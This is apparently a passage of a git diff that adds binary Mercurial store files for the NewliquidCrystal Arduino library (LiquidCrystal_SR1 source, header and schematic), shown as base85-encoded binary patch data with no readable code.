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 IS?qrKA4Ct!kN^Mx literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..be1a5927e1115729e3fc0e2b9bb28bf736ffdb6c GIT binary patch literal 5180 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.h.i new file mode 100644 index 0000000000000000000000000000000000000000..7e546ebfe34e7055f99ab46fb4e633e595967c7e GIT binary patch literal 2279 zcmY*Z2{=@38$O0XV{9ct$OyyC*vm|xkulLfG(Ovmtc@j^7F&j)60$T()@)hpleL;` z@f8h5ldQjN;j^W*$WpdG$v-psx97Ufx$o;e_xs$>^PF>DKmZT`_#yZf0Cvs);(*2W zPGHeE*tEf|r?*Z0+i2o69sCjt5eUrzz)40S8MCbHa4=H(OZJ32o%beKtU^J)&s`8KJ z)V4s;FqP3|0NW96Cn`ps^S_}SwS6%lg9+}Pig7k_tEC{^ikk#Eugw`51ZFd`E(k@@ z7E8ua51^0fpJ;R!+pwlK)D?+er)hzE`^I8kAIJj-gfEo9682-WM{ysC<*3C0Mz>{+ zG9}bTF;=bG4ReE~^CjfvXX0wJ45s1^-XQRzS6BD?d^=|0%zl#R1|Etf904fZnP3wXHox>BC;@TTUy2N2@SvcCxuO2Fwy#e2K)iw+uTueG}ZpkxZxS7dRR0E4+KK z-T~~>dVj*@Jau2(3bPm@QDQsdO0JSw70t~S3kCfJ(JH1WdfVEOIu`lBPKQc zd+*VLRVE^h=1;BAj*cP%%V-NEtID~mK7G#Z7N8~+wwfkCqW2Mlig#JBadEi06>NLp z&qF8i$YF-_ov8Rb3FVX`3v<`bu_IsrIjG(Q5>jN6(^ z32dEWz4v-YWEyQq>*kJcPtdMR zN5TTGK4zC1Fls&hQ-x|?I*$Cv#zI1>E?yvL6Lzx~)w*?VRyO{0E{j(zAnnR0U5Oyl zLUHJ)WmjOq-ElS&mD-PeVsKI*MjY8J^sWPkl32HyAGkGK6z|wBOlA%c3W|g_ zCtDl`6wt(aO|!vkQ8HVMLhFii$`)4z@Kg|o_n-3)2X1r$fM^__0e~eBd8b5H-&yzV zw};zmi*Z9CTk88^^{;;4(eQzuccBXl0qIMDr&J-IJXoQ9mI$ZEQuPiha zN*BRKhDPdLJQkst!Ti*kqe_nu;GQJf{GqS%Sof*K5Z1N4%>FWrb1Bs7oc(j+MEVE( zhF;|Gm0-IiP_m)bbzVb4kN9o<#+^kmp8>#eE(-8wp``Hj%%vA>Z@;)&a!-mur}vVA z>yCyG^gM40Wwf2e3Q3KQZaIljKZG*WC8?s}6N9=F9frqRidtKv#0cmCU89jf@WH*% z3`4yc5b#4rs*|^0=o3E+cl4r6J_CRgTmJpf9GVc%uD#m(HE>00^F_3UJkEzY;V+$A#AJjl}5gtwozVtV_UhUT$d{PTLyp+A3ZJaDJWdh_G z1IRubmH|FDsQO3kU!K7?*R)c@f>v(T$+@2=A-Z6#gpGQ{D7T%Wu zp3LuP`0(ppdQvEfUKENgp@)FfAun|xk=-YPbSjWKgf51pgh8!698P@Iae}-Q6gth- zEeOuIo2{OOK(Z4LSs8w_Le5yrB;H6ge0}IaW7Lt8=b{?GW!I$H;jJu|255F4s4nZ> znfq{=Gd}lk(=%DLO!fC4;4E}`ID>#Gx5-gAyBDQ^jYi9tIqxpRpbU?iYSkQ5ZEk?0 T4Y9iVB4w{~#Q^x4vHiaQo*}sr literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.sch.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal___s_r1.sch.i new file mode 100644 index 0000000000000000000000000000000000000000..4480853fbd14fe2060d36838cbd770ac1ccf85ee GIT binary patch literal 47580 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 